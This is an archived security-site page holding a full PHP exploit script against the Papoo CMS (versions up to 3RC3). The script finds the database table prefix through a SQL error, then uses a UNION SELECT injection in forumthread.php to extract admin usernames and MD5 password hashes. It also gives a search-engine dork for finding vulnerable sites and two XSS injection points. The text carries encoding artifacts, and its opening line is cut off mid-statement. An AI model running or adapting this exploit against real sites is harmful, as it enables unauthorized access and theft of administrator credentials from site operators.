TUCoPS :: Web :: Apps :: b06-3488.htm

PAPOO <=3RC3 sql injection / admin credentials disclosure
PAPOO <=3RC3 sql injection / admin credentials disclosure
PAPOO <=3RC3 sql injection / admin credentials disclosure



#!/usr/bin/php -q -d short_open_tag=on=0D
rgod@autistici.org\n";=0D 
echo "site: http://retrogod.altervista.org\n";=0D 
echo "dork: \"Help * Contact * Imprint * Sitemap\" | \"powered by papoo\" | \"powered by cms papoo\"\n\n";=0D
=0D
/*=0D
notes:=0D
works regardless of magic_quotes_gpc settings...=0D
there is some magic quotes disable code in variable_class.php near line 120-145=0D
also you can always disclose table prefix...=0D
we have different number of columns in older version, we will shortly bruteforce query=0D
=0D
oh, we have two xss even:=0D
http://[target]/[path_to_papoo]/interna/hilfe.php?titel=[XSS]=0D 
http://[target]/[path_to_papoo]/interna/hilfe.php?ausgabe=[XSS]=0D 
=0D
*/=0D
=0D
if ($argc<3) {=0D
echo "Usage: php ".$argv[0]." host path OPTIONS\n";=0D
echo "host:      target server (ip/hostname)\n";=0D
echo "path:      path to Papoo\n";=0D
echo "Options:\n";=0D
echo "   -T[prefix]   specify a table prefix (there is nor a default one, try papoo or papoo_\n";=0D
echo "                however, if not specified, we will disclose it)\n";=0D
echo "   -p[port]:    specify a port other than 80\n";=0D
echo "   -P[ip:port]: specify a proxy\n";=0D
echo "Example:\r\n";=0D
echo "php ".$argv[0]." localhost /papoo/\n";=0D
echo "php ".$argv[0]." localhost /papoo/ -Tpapoo_\n";=0D
die;=0D
}=0D
=0D
error_reporting(0);=0D
ini_set("max_execution_time",0);=0D
ini_set("default_socket_timeout",5);=0D
=0D
function quick_dump($string)=0D
{=0D
  $result='';$exa='';$cont=0;=0D
  for ($i=0; $i<=strlen($string)-1; $i++)=0D
  {=0D
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))=0D
   {$result.="  .";}=0D
   else=0D
   {$result.="  ".$string[$i];}=0D
   if (strlen(dechex(ord($string[$i])))==2)=0D
   {$exa.=" ".dechex(ord($string[$i]));}=0D
   else=0D
   {$exa.=" 0".dechex(ord($string[$i]));}=0D
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}=0D
  }=0D
 return $exa."\r\n".$result;=0D
}=0D
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';=0D
function sendpacketii($packet)=0D
{=0D
  global $proxy, $host, $port, $html, $proxy_regex;=0D
  if ($proxy=='') {=0D
    $ock=fsockopen(gethostbyname($host),$port);=0D
    if (!$ock) {=0D
      echo 'No response from '.$host.':'.$port; die;=0D
    }=0D
  }=0D
  else {=0D
	$c = preg_match($proxy_regex,$proxy);=0D
    if (!$c) {=0D
      echo 'Not a valid proxy...';die;=0D
    }=0D
    $parts=explode(':',$proxy);=0D
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";=0D
    $ock=fsockopen($parts[0],$parts[1]);=0D
    if (!$ock) {=0D
      echo 'No response from proxy...';die;=0D
	}=0D
  }=0D
  fputs($ock,$packet);=0D
  if ($proxy=='') {=0D
    $html='';=0D
    while (!feof($ock)) {=0D
      $html.=fgets($ock);=0D
    }=0D
  }=0D
  else {=0D
    $html='';=0D
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {=0D
      $html.=fread($ock,1);=0D
    }=0D
  }=0D
  fclose($ock);=0D
  #debug=0D
  #echo "\r\n".$html;=0D
=0D
}=0D
=0D
function is_hash($hash)=0D
{=0D
 if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}=0D
 else {return false;}=0D
}=0D
=0D
$host=$argv[1];=0D
$path=$argv[2];=0D
$port=80;=0D
$proxy="";=0D
for ($i=3; $i<=$argc-1; $i++){=0D
$temp=$argv[$i][0].$argv[$i][1];=0D
if ($temp=="-p")=0D
{=0D
  $port=str_replace("-p","",$argv[$i]);=0D
}=0D
if ($temp=="-P")=0D
{=0D
  $proxy=str_replace("-P","",$argv[$i]);=0D
}=0D
if ($temp=="-T")=0D
{=0D
  $prefix=str_replace("-T","",$argv[$i]);=0D
}=0D
}=0D
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}=0D
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}=0D 
=0D
if ($prefix=="")=0D
{=0D
  $packet="GET ".$p."forumthread.php?msgid=%27 HTTP/1.0\r\n";=0D
  $packet.="Host: ".$host."\r\n";=0D
  $packet.="Connection: Close\r\n\r\n";=0D
  sendpacketii($packet);=0D
  if (strstr($html,"You have an error in your SQL syntax"))=0D
  {=0D
    $temp=explode("_papoo_message.forumid",$html);=0D
    $temp2=explode("AND ",$temp[0]);=0D
    $prefix=$temp2[count($temp2)-1];=0D
    echo "table prefix -> ".$prefix."\n";=0D
  }=0D
  else=0D
  {die("Unable to disclose table prefix...\n");}=0D
}=0D
=0D
$diff=array(=0D
            ",0,0,0,0,0",=0D
            ",0,0,0,0",=0D
            ",0,0,0",=0D
            ",0,0",=0D
            ",0",=0D
            ""=0D
           );=0D
for ($j=0; $j<=count($diff)-1; $j++)=0D
{=0D
$sql="9999')/**/UNION/**/SELECT/**/1,0,0,0,CONCAT('*WhOp*',username,':',password,'*WhOp*'),0,0,0,0,0".$diff[$j]."/**/FROM ".$prefix."_papoo_user/**/WHERE/**/gruppenid='g1,'/*";=0D
$sql=urlencode($sql);=0D
$packet="GET ".$p."forumthread.php?msgid=".$sql." HTTP/1.0\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Connection: Close\r\n\r\n";=0D
sendpacketii($packet);=0D
$temp=explode("*WhOp*",$html);=0D
for ($i=1; $i<=count($temp)-1; $i++)=0D
{=0D
 $temp2=explode(":",$temp[$i]);=0D
 if (is_hash($temp2[1]))=0D
 {=0D
  echo "--------------------------------------------------------\n";=0D
  echo "admin          -> ".$temp2[0]."                         \n";=0D
  echo "password (md5) -> ".$temp2[1]."                         \n";=0D
  echo "--------------------------------------------------------\n";=0D
  die;=0D
 }=0D
}=0D
}=0D
//if you are here...=0D
echo "exploit failed...";=0D
?>=0D
=0D
original url: http://retrogod.altervista.org/papoo_3rc3_sql.html=0D 

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH